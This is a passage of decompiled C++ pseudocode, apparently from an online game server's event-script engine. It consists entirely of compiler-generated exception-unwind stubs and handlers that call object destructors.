AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 576)); } //----- (005940D7) -------------------------------------------------------- void __usercall _L181870(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 552)); } //----- (005940E2) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineAbstatSet_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005940F0) -------------------------------------------------------- void __usercall _L182022(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (005940FB) -------------------------------------------------------- void __usercall _L182023(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594106) -------------------------------------------------------- void __usercall _L182024(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 300)); } //----- (00594111) -------------------------------------------------------- void __usercall _L182025(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 300)); } //----- (0059411C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineAbstatReset_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594130) -------------------------------------------------------- void __usercall _L182114(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00594138) -------------------------------------------------------- void __usercall _L182115(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00594140) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__alms_SelfKill_AxialListMobSuicide__QAEXPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594150) -------------------------------------------------------- void __usercall _L182204(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (0059415B) -------------------------------------------------------- void __usercall _L182205(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00594166) -------------------------------------------------------- void __usercall _L182206(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00594171) -------------------------------------------------------- void __usercall _L182207(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 804)); } //----- (0059417C) -------------------------------------------------------- void __usercall _L182208(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00594187) -------------------------------------------------------- void __usercall _L182209(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 804)); } //----- (00594192) -------------------------------------------------------- void __usercall _L182210(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 804)); } //----- (0059419D) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineSuicide_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005941B0) -------------------------------------------------------- void __usercall _L182495(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 292)); } //----- (005941BB) -------------------------------------------------------- void __usercall _L182496(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005941C6) -------------------------------------------------------- void __usercall _L182497(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 288)); } //----- (005941D1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineMapLight_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005941E0) -------------------------------------------------------- void __usercall _L182694(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 332)); } //----- (005941EB) -------------------------------------------------------- void __usercall _L182695(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 304)); } //----- (00594200) -------------------------------------------------------- void __usercall _L182876(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 344)); } //----- (0059420B) -------------------------------------------------------- void __usercall _L182877(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594216) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineEffectLocate_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594220) -------------------------------------------------------- void __usercall _L183542(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 288)); } //----- (0059422B) -------------------------------------------------------- void __usercall _L183543(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594236) -------------------------------------------------------- void __usercall _L183544(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 300)); } //----- (00594241) -------------------------------------------------------- void __usercall _L183545(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 300)); } //----- (0059424C) -------------------------------------------------------- void __usercall _L183546(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 284)); } //----- (00594257) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineBattleStart_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594270) -------------------------------------------------------- void __usercall _L183690(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0059427B) -------------------------------------------------------- void __usercall _L183691(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594286) -------------------------------------------------------- void __usercall _L183692(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 288)); } //----- (00594291) -------------------------------------------------------- void __usercall _L183693(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 288)); } //----- (0059429C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineBattleStop_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005942B0) -------------------------------------------------------- void __usercall _L184125(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 328)); } //----- (005942BB) -------------------------------------------------------- void __usercall _L184126(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005942C6) -------------------------------------------------------- void __usercall _L184127(int a1) { AxialListTeleportAnywhere::_AxialListTeleportAnywhere((AxialListTeleportAnywhere *)(a1 - 340)); } //----- (005942D1) -------------------------------------------------------- void __usercall _L184128(int a1) { AxialListCount2::_AxialListCount2((AxialListCount2 *)(a1 - 324)); } //----- (005942DC) -------------------------------------------------------- void __usercall _L184129(int a1) { AxialListTeleportSplit::_AxialListTeleportSplit((AxialListTeleportSplit *)(a1 - 292)); } //----- (005942E7) -------------------------------------------------------- void __usercall _L184130(int a1) { AxialListTeleport::_AxialListTeleport((AxialListTeleport *)(a1 - 340)); } //----- (005942F2) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineTeleportAll_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594300) -------------------------------------------------------- void __usercall _L184411(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 552)); } //----- (0059430B) -------------------------------------------------------- void __usercall _L184412(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00594316) -------------------------------------------------------- void __usercall _L184413(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594321) -------------------------------------------------------- void __usercall _L184414(int a1) { AxialListFindItemOwner::_AxialListFindItemOwner((AxialListFindItemOwner *)(a1 - 548)); } //----- (00594340) -------------------------------------------------------- void __usercall _L184541_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 2324)); } //----- (0059434B) -------------------------------------------------------- void __usercall _L184542(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 2320)); } //----- (00594356) -------------------------------------------------------- void __usercall _L184543(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 2064)); } //----- (00594361) -------------------------------------------------------- void __usercall _L184544(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 1808), 0x100u, 7, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0059437A) -------------------------------------------------------- void __usercall _L184545(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 2336)); } //----- (00594385) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineChatWindow_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594390) -------------------------------------------------------- void __usercall _L184659(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 2096)); } //----- (0059439B) -------------------------------------------------------- void __usercall _L184660(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 2064)); } //----- (005943A6) -------------------------------------------------------- void __usercall _L184661(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1808)); } //----- (005943B1) -------------------------------------------------------- void __usercall _L184662(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1552)); } //----- (005943BC) -------------------------------------------------------- void __usercall _L184663(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 1296), 0x100u, 5, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005943D5) -------------------------------------------------------- void __usercall _L184664(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 2076)); } //----- (005943F0) -------------------------------------------------------- void __usercall _L184778(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (005943FB) -------------------------------------------------------- void __usercall _L184779(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00594406) -------------------------------------------------------- void __usercall _L184780(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00594411) -------------------------------------------------------- void __usercall _L184781(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0059441C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineMobAttribute_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594430) -------------------------------------------------------- void __usercall _L184984(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (0059443B) -------------------------------------------------------- void __usercall _L184985(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594446) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineEndOfGuildTournament_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594450) -------------------------------------------------------- void __usercall _L185061(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0059445B) -------------------------------------------------------- void __usercall _L185062(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594466) -------------------------------------------------------- void __usercall _L185063(int a1) { AxialListGTEnd::_AxialListGTEnd((AxialListGTEnd *)(a1 - 296)); } //----- (00594471) -------------------------------------------------------- void __usercall _L185064(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 296)); } //----- (0059447C) -------------------------------------------------------- void __usercall _L185065(int a1) { AxialListGTEnd::_AxialListGTEnd((AxialListGTEnd *)(a1 - 312)); } //----- (005944A0) -------------------------------------------------------- void __usercall _L185323(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 552)); } //----- (005944AB) -------------------------------------------------------- void __usercall _L185324(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (005944B6) -------------------------------------------------------- void __usercall _L185325(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (005944C1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineCostumeTakeOff_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005944D0) -------------------------------------------------------- void __usercall _L185603(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (005944DB) -------------------------------------------------------- void __usercall _L185604(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005944E6) -------------------------------------------------------- void __usercall _L185605(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 288)); } //----- (005944F1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineBriefEffect_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594500) -------------------------------------------------------- void __usercall _L185793(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00594508) -------------------------------------------------------- void __usercall _L185794(int a1) { AxialListRevival::_AxialListRevival((AxialListRevival *)(a1 - 20)); } //----- (00594510) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineRevival_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594520) -------------------------------------------------------- void __usercall _L185944(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00594528) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ClearSaveLinkto_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594540) -------------------------------------------------------- void __usercall _L186138(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 816)); } //----- (0059454B) -------------------------------------------------------- void __usercall _L186139(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00594556) -------------------------------------------------------- void __usercall _L186140(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00594561) -------------------------------------------------------- void __usercall _L186141(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (0059456C) -------------------------------------------------------- void __usercall _L186142(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 804)); } //----- (00594577) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_BroadcastCode_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594590) -------------------------------------------------------- void __usercall _L186260(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (0059459B) -------------------------------------------------------- void __usercall _L186261(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (005945A6) -------------------------------------------------------- void __usercall _L186262(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (005945B1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineSpawn_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005945C0) -------------------------------------------------------- void __usercall _L186357(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (005945CB) -------------------------------------------------------- void __usercall _L186358(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (005945D6) -------------------------------------------------------- void __usercall _L186359(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005945E1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineHPSet_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594610) -------------------------------------------------------- void __usercall _L187259(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 916)); } //----- (0059461B) -------------------------------------------------------- void __usercall _L187260(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00594626) -------------------------------------------------------- void __usercall _L187261(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00594631) -------------------------------------------------------- void __usercall _L187262(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (0059463C) -------------------------------------------------------- void __usercall _L187263(int a1) { AxialListObjectCollector::_AxialListObjectCollector((AxialListObjectCollector *)(a1 - 904)); } //----- (00594647) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineObjectCollect_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594660) -------------------------------------------------------- void __usercall _L187688(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00594668) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UScriptInterruptArgument_ScriptInterrupt____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594680) -------------------------------------------------------- void __usercall _L187807(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00594688) -------------------------------------------------------- void __usercall _L187822(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00594690) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineInterruptClear_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005946A0) -------------------------------------------------------- void __usercall _L187897_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1124)); } //----- (005946AB) -------------------------------------------------------- void __usercall _L187898(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 824)); } //----- (005946B6) -------------------------------------------------------- void __usercall _L187899_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1080)); } //----- (005946C1) -------------------------------------------------------- void __usercall _L187900(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (005946CC) -------------------------------------------------------- void __usercall _L187901(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (005946F0) -------------------------------------------------------- void __usercall _L188102(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 696)); } //----- (005946FB) -------------------------------------------------------- void __usercall _L188103(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00594706) -------------------------------------------------------- void __usercall _L188104(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00594711) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineMobRegen_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594720) -------------------------------------------------------- void __usercall _L188351(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 600)); } //----- (0059472B) -------------------------------------------------------- void __usercall _L188352(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00594736) -------------------------------------------------------- void __usercall _L188353(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00594750) -------------------------------------------------------- void __usercall _L188479(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 664)); } //----- (0059475B) -------------------------------------------------------- void __usercall _L188480(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00594766) -------------------------------------------------------- void __usercall _L188481(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00594771) -------------------------------------------------------- void __usercall _L188482(int a1) { AxialListBanArea::_AxialListBanArea((AxialListBanArea *)(a1 - 600)); } //----- (0059477C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_ShineBanFromArea_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00594790) -------------------------------------------------------- void __usercall _L188681(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 584)); } //----- (0059479B) -------------------------------------------------------- void __usercall _L188682(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (005947A6) -------------------------------------------------------- void __usercall _L188683(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (005947C0) -------------------------------------------------------- void __usercall _L188809(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 284)); } //----- (005947CB) -------------------------------------------------------- void __usercall _L188810(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005947D6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_HasAbstate_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005947E0) -------------------------------------------------------- void __usercall _L188932(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 624)); } //----- (005947EB) -------------------------------------------------------- void __usercall _L188933(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 608)); } //----- (005947F6) -------------------------------------------------------- void __usercall _L188934(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00594810) -------------------------------------------------------- void __usercall _L189397(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 668)); } //----- (0059481B) -------------------------------------------------------- void __usercall _L189398(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 608)); } //----- (00594826) -------------------------------------------------------- void __usercall _L189399(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 664)); } //----- (00594831) -------------------------------------------------------- void __usercall _L189400(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 636)); } //----- (0059483C) -------------------------------------------------------- void __usercall _L189401(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00594860) -------------------------------------------------------- void __usercall _L189961(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 476)); } //----- (0059486B) -------------------------------------------------------- void __usercall _L189962(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 312)); } //----- (00594876) -------------------------------------------------------- void __usercall _L189963(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 444)); } //----- (00594881) -------------------------------------------------------- void __usercall _L189964(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 472)); } //----- (0059488C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sa_Step_SaveLinkto_PineEventScriptNode__UAEGHPAVProcessStack_PineScriptStack__PAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005948A0) -------------------------------------------------------- void __usercall _L191750(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 628)); } //----- (005948AB) -------------------------------------------------------- void __usercall _L191751(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (005948B6) -------------------------------------------------------- void __usercall _L191752(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 624)); } //----- (005948C1) -------------------------------------------------------- void __usercall _L191753(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 596)); } //----- (005948CC) -------------------------------------------------------- void __usercall _L191754(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (005948F0) -------------------------------------------------------- void __usercall _L191901(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 608)); } //----- (005948FB) -------------------------------------------------------- void __usercall _L191902(int a1) { 